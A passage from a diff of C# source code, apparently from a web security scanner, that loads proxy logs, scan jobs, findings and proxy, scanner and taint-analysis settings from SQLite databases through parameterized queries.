cmd.Parameters.AddWithValue("@LIMIT", Count); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + try + { + LogRow LR = new LogRow(); + try { LR.ID = Int32.Parse(result["ID"].ToString()); } + catch { continue; } + if (LogType.Equals("proxy")) + LR.Source = "Proxy"; + else if (LogType.Equals("probe")) + LR.Source = "Probe"; + else + break; + LR.Host = Host; + LR.Method = result["Method"].ToString(); + LR.Url = result["URL"].ToString(); + LR.File = result["File"].ToString(); + LR.SSL = result["SSL"].ToString().Equals("1"); + LR.Parameters = result["Parameters"].ToString(); + try + { LR.Code = Int32.Parse(result["Code"].ToString()); } + catch { LR.Code = -1; } + try + { LR.Length = Int32.Parse(result["Length"].ToString()); } + catch { LR.Length = 0; } + LR.Mime = result["MIME"].ToString(); + LR.SetCookie = result["SetCookie"].ToString().Equals("1"); + try + { + LR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); + } + catch { } + IronLogRecords.Add(LR); + } + catch { } + } + } + } + } + return IronLogRecords; + } + + internal static Scanner GetScannerFromDB(int ScanID) + { + Scanner ScannerFromLog = null; + + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT RequestHeaders, RequestBody, BinaryRequest, Status, InjectionPoints, FormatPlugin, SessionPlugin, ScanPlugins, WorkflowToScan, LoginWorkflow FROM ScanQueue WHERE ScanID=@ScanID LIMIT 1"; + cmd.Parameters.AddWithValue("@ScanID", ScanID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + IronLogRecord ILR = new IronLogRecord(); + ILR.RequestHeaders = result["RequestHeaders"].ToString(); + ILR.RequestBody = result["RequestBody"].ToString(); + ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); + Session Irse = Session.GetIronSessionFromIronLogRecord(ILR, 0); + Request Req = Irse.Request; + string Status = result["Status"].ToString(); + string FormatPluginName = result["FormatPlugin"].ToString(); + string SessionPluginName = result["SessionPlugin"].ToString(); + string InjectionString = result["InjectionPoints"].ToString(); + string[] ScanPluginsArray = result["ScanPlugins"].ToString().Split(new char[] { ',' }); + string WorkflowToScan = result["WorkflowToScan"].ToString(); + string LoginWorkflowIdStr = result["LoginWorkflow"].ToString(); + + ScannerFromLog = new Scanner(Req); + ScannerFromLog.ScanID = ScanID; + + if (Status.Equals("Not Started")) return ScannerFromLog; + + if (SessionPluginName.Length > 0) + { + if (!SessionPluginName.Equals("None") && SessionPlugin.List().Contains(SessionPluginName)) + { + ScannerFromLog.SessionHandler = SessionPlugin.Get(SessionPluginName); + } + } + if (FormatPluginName.Length > 0) + { + if (!FormatPluginName.Equals("None") && FormatPlugin.List().Contains(FormatPluginName)) + { + ScannerFromLog.BodyFormat = FormatPlugin.Get(FormatPluginName); + } + } + if (ScanPluginsArray.Length > 0) + { + List ValidScanPlugins = ActivePlugin.List(); + foreach (string Name in ScanPluginsArray) + { + if (ValidScanPlugins.Contains(Name)) + { + ScannerFromLog.AddCheck(Name); + } + } + } + ScannerFromLog.AbsorbInjectionString(InjectionString); + try + { + int LoginWorkflowId = Int32.Parse(LoginWorkflowIdStr); + Recording.Recording RecordingFromDb = Recording.Recording.FromWorkflow(IronDB.GetWorkflow(LoginWorkflowId)); + if (Recording.Recording.Has(RecordingFromDb.Name)) + { + ScannerFromLog.LoginAndCsrfRecording = Recording.Recording.Get(RecordingFromDb.Name); + } + else + { + ScannerFromLog.LoginAndCsrfRecording = Recording.Recording.FromWorkflow(IronDB.GetWorkflow(LoginWorkflowId)); + /* + if (RecordingFromDb.IsLoginRecordingReplayable()) + { + ScannerFromLog.LoginAndCsrfRecording = Recording.Recording.FromWorkflow(IronDB.GetWorkflow(LoginWorkflowId)); + } + else + { + IronException.Report(string.Format("Recording {0} is not replayable", RecordingFromDb.Name), string.Format("Recording {0} is not replayable. \r\n Please make sure the target is reachable and try loading the recording again.", RecordingFromDb.Name)); + } + */ + } + } + catch { } + try + { + Dictionary WorkflowToScanDict = JsonConvert.DeserializeObject>(WorkflowToScan); + int IdOfWorkflowToScan = Int32.Parse(WorkflowToScanDict["WorkflowId"]); + int IndexOfRequestToScan = Int32.Parse(WorkflowToScanDict["RequestIndex"]); + Workflow.Workflow FlowToScan = IronDB.GetWorkflow(IdOfWorkflowToScan); + ScannerFromLog.IdOfWorkflowToScan = IdOfWorkflowToScan; + ScannerFromLog.IndexOfRequestToScanInWorkFlowLogAssociations = IndexOfRequestToScan; + ScannerFromLog.WorkFlowLogAssociations = FlowToScan.WorkflowAssociations; + } + catch { } + ScannerFromLog.Status = Status; + } + } + } + return ScannerFromLog; + } + + internal static Finding GetPluginResultFromDB(int ID) + { + Finding PR = null; + using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT HostName, Title, FinderName, FinderType, Meta, Summary, Severity, Confidence, Type, UniquenessString FROM Findings WHERE ID=@ID LIMIT 1"; + cmd.Parameters.AddWithValue("@ID", ID); + using(SQLiteDataReader result = cmd.ExecuteReader()) + { + PR = new Finding(result["HostName"].ToString()); + PR.Id = ID; + PR.Title = result["Title"].ToString(); + PR.FinderName = result["FinderName"].ToString(); + PR.FinderType = result["FinderType"].ToString(); + try + { + PR.XmlSummary = result["Summary"].ToString(); + } + catch + { + PR.Summary = result["Summary"].ToString(); + } + try + { + PR.XmlMeta = result["Meta"].ToString(); + } + catch { } + PR.Severity = GetSeverity(Int32.Parse(result["Severity"].ToString())); + PR.Confidence = GetConfidence(Int32.Parse(result["Confidence"].ToString())); + PR.Type = GetResultType(Int32.Parse(result["Type"].ToString())); + PR.Signature = result["UniquenessString"].ToString(); + } + + cmd.CommandText = "SELECT TriggersEncoded, RequestTriggerDesc, RequestTrigger, RequestHeaders, RequestBody, BinaryRequest, ResponseTriggerDesc, ResponseTrigger, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM Triggers WHERE ID=@ID"; + cmd.Parameters.AddWithValue("@ID", ID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + string RequestTrigger = result["RequestTrigger"].ToString(); + string ResponseTrigger = result["ResponseTrigger"].ToString(); + + if (result["TriggersEncoded"].ToString().Equals("1")) + { + try + { + RequestTrigger = Tools.Base64Decode(RequestTrigger); + } + catch { } + try + { + ResponseTrigger = Tools.Base64Decode(ResponseTrigger); + } + catch { } + } + + IronLogRecord ILR = new IronLogRecord(); + ILR.RequestHeaders = result["RequestHeaders"].ToString(); + ILR.RequestBody = result["RequestBody"].ToString(); + ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); + + ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); + ILR.ResponseBody = result["ResponseBody"].ToString(); + ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); + try + { + ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); + } + catch { } + Session IrSe = Session.GetIronSessionFromIronLogRecord(ILR, 0); + if (IrSe.Response != null) + { + PR.Triggers.Add(RequestTrigger, result["RequestTriggerDesc"].ToString(), IrSe.Request, ResponseTrigger, result["ResponseTriggerDesc"].ToString(), IrSe.Response); + } + else + { + PR.Triggers.Add(RequestTrigger, result["RequestTriggerDesc"].ToString(), IrSe.Request); + } + } + } + + if (PR.FromActiveScan) + { + try + { + cmd.CommandText = "SELECT RequestHeaders, RequestBody, BinaryRequest, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip FROM BaseLine WHERE FindingID=@FindingID LIMIT 1"; + cmd.Parameters.AddWithValue("@FindingID", ID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + if (result.HasRows) + { + IronLogRecord ILR = new IronLogRecord(); + ILR.RequestHeaders = result["RequestHeaders"].ToString(); + ILR.RequestBody = result["RequestBody"].ToString(); + ILR.IsRequestBinary = (result["BinaryRequest"].ToString().Equals("1")); + + ILR.ResponseHeaders = result["ResponseHeaders"].ToString(); + ILR.ResponseBody = result["ResponseBody"].ToString(); + ILR.IsResponseBinary = (result["BinaryResponse"].ToString().Equals("1")); + try + { + ILR.RoundTrip = Int32.Parse(result["RoundTrip"].ToString()); + } + catch { } + Session IrSe = Session.GetIronSessionFromIronLogRecord(ILR, 0); + PR.BaseRequest = IrSe.Request; + PR.BaseResponse = IrSe.Response; + } + } + } + catch { } + } + + } + } + return PR; + } + + internal static IronException GetException(int ID) + { + IronException IrEx = null; + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ExceptionsLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Title, Message, StackTrace FROM Exceptions WHERE ID=@ID"; + cmd.Parameters.AddWithValue("@ID", ID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + IrEx = new IronException(); + IrEx.Title = result["Title"].ToString(); + IrEx.Message = result["Message"].ToString(); + IrEx.StackTrace = result["StackTrace"].ToString(); + } + } + } + return IrEx; + } + + internal static string GetTraceMessage(int ID) + { + string Message = ""; + using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Message FROM Trace WHERE ID=@ID"; + cmd.Parameters.AddWithValue("@ID", ID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + Message = result["Message"].ToString(); + } + } + } + return Message; + } + + internal static string GetScanTraceMessage(int ID) + { + string Message = ""; + using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Message FROM ScanTrace WHERE ID=@ID"; + cmd.Parameters.AddWithValue("@ID", ID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + Message = result["Message"].ToString(); + } + } + } + return Message; + } + + internal static string[] GetScanTraceOverviewAndMessage(int ID) + { + string Message = ""; + string Overview = ""; + using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Message, OverviewXml FROM ScanTrace WHERE ID=@ID"; + cmd.Parameters.AddWithValue("@ID", ID); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + Message = result["Message"].ToString(); + Overview = ""; + try + { + Overview = result["OverviewXml"].ToString(); + } + catch { } + } + } + } + return new string[]{Overview, Message}; + } + + internal static string GetScanStatus(int ScanID) + { + string Message = ""; + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + try + { + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "SELECT Status FROM ScanQueue WHERE ScanID=@ScanID"; + Cmd.Parameters.AddWithValue("@ScanID", ScanID); + using (SQLiteDataReader result = Cmd.ExecuteReader()) + { + Message = result["Status"].ToString(); + } + } + } + catch { } + } + return Message; + } + + #region UpdateConfigFromDB + internal static void UpdateProxyConfigFromDB() + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT LoopBack, SystemProxy, Port FROM IronProxy"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + if (result.HasRows) + { + if (result.Read()) + { + string Port = result["Port"].ToString(); + if (IronProxy.ValidProxyPort(Port)) + { + IronProxy.Port = Int32.Parse(Port); + } + else + { + IronProxy.Port = 8080; + } + IronProxy.LoopBackOnly = result["LoopBack"].ToString().Equals("1"); + IronProxy.SystemProxy = result["SystemProxy"].ToString().Equals("1"); + } + } + else + { + IronProxy.Port = 8080; + IronProxy.LoopBackOnly = true; + IronProxy.SystemProxy = false; + } + } + } + } + } + + internal static void UpdateUpstreamProxyConfigFromDB() + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Use, IP, Port FROM UpstreamProxy"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + if (result.HasRows) + { + if (result.Read()) + { + string Port = result["Port"].ToString(); + if (IronProxy.ValidPort(Port)) + { + IronProxy.UpstreamProxyPort = Int32.Parse(Port); + } + switch (result["Use"].ToString()) + { + case ("2"): + IronProxy.UseSystemProxyAsUpStreamProxy = true; + IronProxy.UseUpstreamProxy = false; + break; + case ("1"): + IronProxy.UseSystemProxyAsUpStreamProxy = false; + IronProxy.UseUpstreamProxy = true; + break; + case ("0"): + IronProxy.UseSystemProxyAsUpStreamProxy = false; + IronProxy.UseUpstreamProxy = false; + break; + } + string IP = result["IP"].ToString(); + if (IP.Length > 0) + { + IronProxy.UpstreamProxyIP = IP; + } + } + } + } + } + } + } + + internal static void UpdateRequestTextContentTypesConfigFromDB() + { + List RequestTextContentTypes = new List(); + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Type FROM TextRequestTypes"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + RequestTextContentTypes.Add(result["Type"].ToString()); + } + } + } + } + lock (Request.TextContentTypes) + { + Request.TextContentTypes.Clear(); + Request.TextContentTypes.AddRange(RequestTextContentTypes); + } + + } + + internal static void UpdateResponseTextContentTypesConfigFromDB() + { + List ResponseTextContentTypes = new List(); + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Type FROM TextResponseTypes"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + ResponseTextContentTypes.Add(result["Type"].ToString()); + } + } + } + } + lock (Response.TextContentTypes) + { + Response.TextContentTypes.Clear(); + Response.TextContentTypes.AddRange(ResponseTextContentTypes); + } + } + + internal static void UpdateScriptPathsConfigFromDB() + { + List PyPaths = new List(); + List RbPaths = new List(); + + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Path FROM PyPath"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + PyPaths.Add(result["Path"].ToString()); + } + } + + cmd.CommandText = "SELECT Path FROM RbPath"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + RbPaths.Add(result["Path"].ToString()); + } + } + } + } + + lock (IronScripting.PyPaths) + { + IronScripting.PyPaths.Clear(); + IronScripting.PyPaths.AddRange(PyPaths); + } + lock (IronScripting.RbPaths) + { + IronScripting.RbPaths.Clear(); + IronScripting.RbPaths.AddRange(RbPaths); + } + } + + internal static void UpdateScriptCommandsConfigFromDB() + { + List PyCommands = new List(); + List RbCommands = new List(); + + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Command FROM PyStartCommands"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + PyCommands.Add(result["Command"].ToString()); + } + } + + cmd.CommandText = "SELECT Command FROM RbStartCommands"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + while (result.Read()) + { + RbCommands.Add(result["Command"].ToString()); + } + } + } + } + + lock (IronScripting.PyCommands) + { + IronScripting.PyCommands.Clear(); + IronScripting.PyCommands.AddRange(PyCommands); + } + lock (IronScripting.RbCommands) + { + IronScripting.RbCommands.Clear(); + IronScripting.RbCommands.AddRange(RbCommands); + } + } + + internal static void UpdateInterceptRulesFromDB() + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts, RequestKeyword, RequestKeywordPlus, RequestKeywordMinus, PlusRequestKeyword, MinusRequestKeyword, ResponseKeyword, ResponseKeywordPlus, ResponseKeywordMinus, PlusResponseKeyword, MinusResponseKeyword, RequestRulesOnResponse FROM InterceptRules"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + if (result.HasRows) + { + if (result.Read()) + { + IronProxy.InterceptGET = result["Get"].ToString().Equals("1"); + IronProxy.InterceptPOST = result["Post"].ToString().Equals("1"); + IronProxy.InterceptOtherMethods = result["OtherMethods"].ToString().Equals("1"); + IronProxy.InterceptHTML = result["Html"].ToString().Equals("1"); + IronProxy.InterceptJS = result["JS"].ToString().Equals("1"); + IronProxy.InterceptCSS = result["CSS"].ToString().Equals("1"); + IronProxy.InterceptXML = result["Xml"].ToString().Equals("1"); + IronProxy.InterceptJSON = result["Json"].ToString().Equals("1"); + IronProxy.InterceptOtherText = result["OtherText"].ToString().Equals("1"); + IronProxy.InterceptImg = result["Img"].ToString().Equals("1"); + IronProxy.InterceptOtherBinary = result["OtherBinary"].ToString().Equals("1"); + IronProxy.Intercept200 = result["Code200"].ToString().Equals("1"); + IronProxy.Intercept2xx = result["Code2xx"].ToString().Equals("1"); + IronProxy.Intercept301_2 = result["Code301_2"].ToString().Equals("1"); + IronProxy.Intercept3xx = result["Code3xx"].ToString().Equals("1"); + IronProxy.Intercept403 = result["Code403"].ToString().Equals("1"); + IronProxy.Intercept4xx = result["Code4xx"].ToString().Equals("1"); + IronProxy.Intercept500 = result["Code500"].ToString().Equals("1"); + IronProxy.Intercept5xx = result["Code5xx"].ToString().Equals("1"); + IronProxy.InterceptCheckFileExtensions = result["FileExt"].ToString().Equals("1"); + IronProxy.InterceptCheckFileExtensionsPlus = result["FileExtPlus"].ToString().Equals("1"); + IronProxy.InterceptCheckFileExtensionsMinus = result["FileExtMinus"].ToString().Equals("1"); + string[] PlusFileExtentions = result["PlusFileExts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.InterceptFileExtensions) + { + IronProxy.InterceptFileExtensions.Clear(); + IronProxy.InterceptFileExtensions.AddRange(PlusFileExtentions); + } + string[] MinusFileExtentions = result["MinusFileExts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.DontInterceptFileExtensions) + { + IronProxy.DontInterceptFileExtensions.Clear(); + IronProxy.DontInterceptFileExtensions.AddRange(MinusFileExtentions); + } + + IronProxy.InterceptCheckHostNames = result["Host"].ToString().Equals("1"); + IronProxy.InterceptCheckHostNamesPlus = result["HostPlus"].ToString().Equals("1"); + IronProxy.InterceptCheckHostNamesMinus = result["HostMinus"].ToString().Equals("1"); + string[] PlusHostNames = result["PlusHosts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.InterceptHostNames) + { + IronProxy.InterceptHostNames.Clear(); + IronProxy.InterceptHostNames.AddRange(PlusHostNames); + } + string[] MinusHostNames = result["MinusHosts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.DontInterceptHostNames) + { + IronProxy.DontInterceptHostNames.Clear(); + IronProxy.DontInterceptHostNames.AddRange(MinusHostNames); + } + + IronProxy.InterceptCheckRequestWithKeyword = result["RequestKeyword"].ToString().Equals("1"); + IronProxy.InterceptCheckRequestWithKeywordPlus = result["RequestKeywordPlus"].ToString().Equals("1"); + IronProxy.InterceptCheckRequestWithKeywordMinus = result["RequestKeywordMinus"].ToString().Equals("1"); + IronProxy.InterceptRequestWithKeyword = result["PlusRequestKeyword"].ToString(); + IronProxy.DontInterceptRequestWithKeyword = result["MinusRequestKeyword"].ToString(); + + IronProxy.InterceptCheckResponseWithKeyword = result["ResponseKeyword"].ToString().Equals("1"); + IronProxy.InterceptCheckResponseWithKeywordPlus = result["ResponseKeywordPlus"].ToString().Equals("1"); + IronProxy.InterceptCheckResponseWithKeywordMinus = result["ResponseKeywordMinus"].ToString().Equals("1"); + IronProxy.InterceptResponseWithKeyword = result["PlusResponseKeyword"].ToString(); + IronProxy.DontInterceptResponseWithKeyword = result["MinusResponseKeyword"].ToString(); + + IronProxy.RequestRulesOnResponse = result["RequestRulesOnResponse"].ToString().Equals("1"); + + } + } + } + } + } + } + + internal static void UpdateDisplayRulesFromDB() + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Get, Post, OtherMethods, Html, JS, CSS, Xml, JSON, OtherText, Img, OtherBinary, Code200, Code2xx, Code301_2, Code3xx, Code403, Code4xx, Code500, Code5xx, FileExt, FileExtPlus, FileExtMinus, PlusFileExts, MinusFileExts, Host, HostPlus, HostMinus, PlusHosts, MinusHosts FROM DisplayRules"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + if (result.HasRows) + { + if (result.Read()) + { + IronProxy.DisplayGET = result["Get"].ToString().Equals("1"); + IronProxy.DisplayPOST = result["Post"].ToString().Equals("1"); + IronProxy.DisplayOtherMethods = result["OtherMethods"].ToString().Equals("1"); + IronProxy.DisplayHTML = result["Html"].ToString().Equals("1"); + IronProxy.DisplayJS = result["JS"].ToString().Equals("1"); + IronProxy.DisplayCSS = result["CSS"].ToString().Equals("1"); + IronProxy.DisplayXML = result["Xml"].ToString().Equals("1"); + IronProxy.DisplayJSON = result["Json"].ToString().Equals("1"); + IronProxy.DisplayOtherText = result["OtherText"].ToString().Equals("1"); + IronProxy.DisplayImg = result["Img"].ToString().Equals("1"); + IronProxy.DisplayOtherBinary = result["OtherBinary"].ToString().Equals("1"); + IronProxy.Display200 = result["Code200"].ToString().Equals("1"); + IronProxy.Display2xx = result["Code2xx"].ToString().Equals("1"); + IronProxy.Display301_2 = result["Code301_2"].ToString().Equals("1"); + IronProxy.Display3xx = result["Code3xx"].ToString().Equals("1"); + IronProxy.Display403 = result["Code403"].ToString().Equals("1"); + IronProxy.Display4xx = result["Code4xx"].ToString().Equals("1"); + IronProxy.Display500 = result["Code500"].ToString().Equals("1"); + IronProxy.Display5xx = result["Code5xx"].ToString().Equals("1"); + + IronProxy.DisplayCheckFileExtensions = result["FileExt"].ToString().Equals("1"); + IronProxy.DisplayCheckFileExtensionsPlus = result["FileExtPlus"].ToString().Equals("1"); + IronProxy.DisplayCheckFileExtensionsMinus = result["FileExtMinus"].ToString().Equals("1"); + + string[] PlusFileExtentions = result["PlusFileExts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.DisplayFileExtensions) + { + IronProxy.DisplayFileExtensions.Clear(); + IronProxy.DisplayFileExtensions.AddRange(PlusFileExtentions); + } + string[] MinusFileExtentions = result["MinusFileExts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.DontDisplayFileExtensions) + { + IronProxy.DontDisplayFileExtensions.Clear(); + IronProxy.DontDisplayFileExtensions.AddRange(MinusFileExtentions); + } + + IronProxy.DisplayCheckHostNames = result["Host"].ToString().Equals("1"); + IronProxy.DisplayCheckHostNamesPlus = result["HostPlus"].ToString().Equals("1"); + IronProxy.DisplayCheckHostNamesMinus = result["HostMinus"].ToString().Equals("1"); + string[] PlusHostNames = result["PlusHosts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.DisplayHostNames) + { + IronProxy.DisplayHostNames.Clear(); + IronProxy.DisplayHostNames.AddRange(PlusHostNames); + } + string[] MinusHostNames = result["MinusHosts"].ToString().Split(new char[] { ',' }); + lock (IronProxy.DontDisplayHostNames) + { + IronProxy.DontDisplayHostNames.Clear(); + IronProxy.DontDisplayHostNames.AddRange(MinusHostNames); + } + } + } + } + } + } + } + + internal static void UpdateJSTaintConfigFromDB() + { + List DefaultSourceObjects = new List(); + List DefaultSinkObjects = new List(); + List DefaultSourceReturningMethods = new List() { }; + List DefaultSinkReturningMethods = new List() { }; + List DefaultArgumentReturningMethods = new List() { }; + List DefaultArgumentAssignedToSinkMethods = new List(); + List DefaultArgumentAssignedASourceMethods = new List() { }; + + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT SourceObjects, SinkObjects, ArgumentAssignedASourceMethods, ArgumentAssignedToSinkMethods, SourceReturningMethods, SinkReturningMethods, ArgumentReturningMethods FROM JSTaintConfig"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + if (result.HasRows) + { + while (result.Read()) + { + if (result["SourceObjects"].ToString().Length > 0) DefaultSourceObjects.Add(result["SourceObjects"].ToString()); + if (result["SinkObjects"].ToString().Length > 0) DefaultSinkObjects.Add(result["SinkObjects"].ToString()); + if (result["ArgumentAssignedASourceMethods"].ToString().Length > 0) DefaultArgumentAssignedASourceMethods.Add(result["ArgumentAssignedASourceMethods"].ToString()); + if (result["ArgumentAssignedToSinkMethods"].ToString().Length > 0) DefaultArgumentAssignedToSinkMethods.Add(result["ArgumentAssignedToSinkMethods"].ToString()); + if (result["SourceReturningMethods"].ToString().Length > 0) DefaultSourceReturningMethods.Add(result["SourceReturningMethods"].ToString()); + if (result["SinkReturningMethods"].ToString().Length > 0) DefaultSinkReturningMethods.Add(result["SinkReturningMethods"].ToString()); + if (result["ArgumentReturningMethods"].ToString().Length > 0) DefaultArgumentReturningMethods.Add(result["ArgumentReturningMethods"].ToString()); + } + } + } + } + } + + lock (IronJint.DefaultSourceObjects) + { + IronJint.DefaultSourceObjects = new List(DefaultSourceObjects); + } + lock (IronJint.DefaultSinkObjects) + { + IronJint.DefaultSinkObjects = new List(DefaultSinkObjects); + } + lock (IronJint.DefaultArgumentAssignedASourceMethods) + { + IronJint.DefaultArgumentAssignedASourceMethods = new List(DefaultArgumentAssignedASourceMethods); + } + lock (IronJint.DefaultArgumentAssignedToSinkMethods) + { + IronJint.DefaultArgumentAssignedToSinkMethods = new List(DefaultArgumentAssignedToSinkMethods); + } + lock (IronJint.DefaultSourceReturningMethods) + { + IronJint.DefaultSourceReturningMethods = new List(DefaultSourceReturningMethods); + } + lock (IronJint.DefaultSinkReturningMethods) + { + IronJint.DefaultSinkReturningMethods = new List(DefaultSinkReturningMethods); + } + lock (IronJint.DefaultArgumentReturningMethods) + { + IronJint.DefaultArgumentReturningMethods = new List(DefaultArgumentReturningMethods); + } + } + + internal static void UpdateScannerSettingsFromDB() + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT MaxScannerThreads, MaxCrawlerThreads, UserAgent FROM ScannerSettings"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + + if (result.HasRows) + { + try + { + Scanner.MaxParallelScanCount = Int32.Parse(result["MaxScannerThreads"].ToString()); + } + catch { } + try + { + Crawler.MaxCrawlThreads = Int32.Parse(result["MaxCrawlerThreads"].ToString()); + } + catch { } + Crawler.UserAgent = result["UserAgent"].ToString(); + } + } + } + } + } + + internal static void UpdatePassiveAnalysisSettingsFromDB() + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT Proxy, Shell, Test, Scan, Probe FROM PassiveAnalysisSettings"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + + if (result.HasRows) + { + try + { + PassiveChecker.RunOnProxyTraffic = Int32.Parse(result["Proxy"].ToString()) == 1; + } + catch { } + try + { + PassiveChecker.RunOnShellTraffic = Int32.Parse(result["Shell"].ToString()) == 1; + } + catch { } + try + { + PassiveChecker.RunOnTestTraffic = Int32.Parse(result["Test"].ToString()) == 1; + } + catch { } + try + { + PassiveChecker.RunOnShellTraffic = Int32.Parse(result["Shell"].ToString()) == 1; + } + catch { } + try + { + PassiveChecker.RunOnProbeTraffic = Int32.Parse(result["Probe"].ToString()) == 1; + } + catch { } + } + } + } + } + } + + internal static void UpdateParametersBlackListFromDB() + { + try + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ParameterSection, ParameterName FROM ParametersBlackList"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + StartScanJobWizard.ParametersBlackList = new List(); + if (result.HasRows) + { + while (result.Read()) + { + StartScanJobWizard.ParametersBlackList.Add(result["ParameterName"].ToString()); + } + } + } + } + } + } + catch(Exception Exp) + { + IronException.Report("Unable to read ParametersBlackList from the config file", Exp); + } + } + + internal static void UpdateCharacterEscapingRulesFromDB() + { + try + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + ConfigFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT RawCharacter, EncodedCharacter FROM CharacterEscapingRules"; + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + Scanner.UserSpecifiedEncodingRuleList = new List(); + if (result.HasRows) + { + while (result.Read()) + { + Scanner.UserSpecifiedEncodingRuleList.Add(new string[] { result["RawCharacter"].ToString(), result["EncodedCharacter"].ToString() }); + } + } + } + } + } + } + catch (Exception Exp) + { + IronException.Report("Unable to read CharacterEscapingRules from the config file", Exp); + } + } + + + internal static void UpdateConfigFromDB() + { + UpdateProxyConfigFromDB(); + UpdateUpstreamProxyConfigFromDB(); + UpdateRequestTextContentTypesConfigFromDB(); + 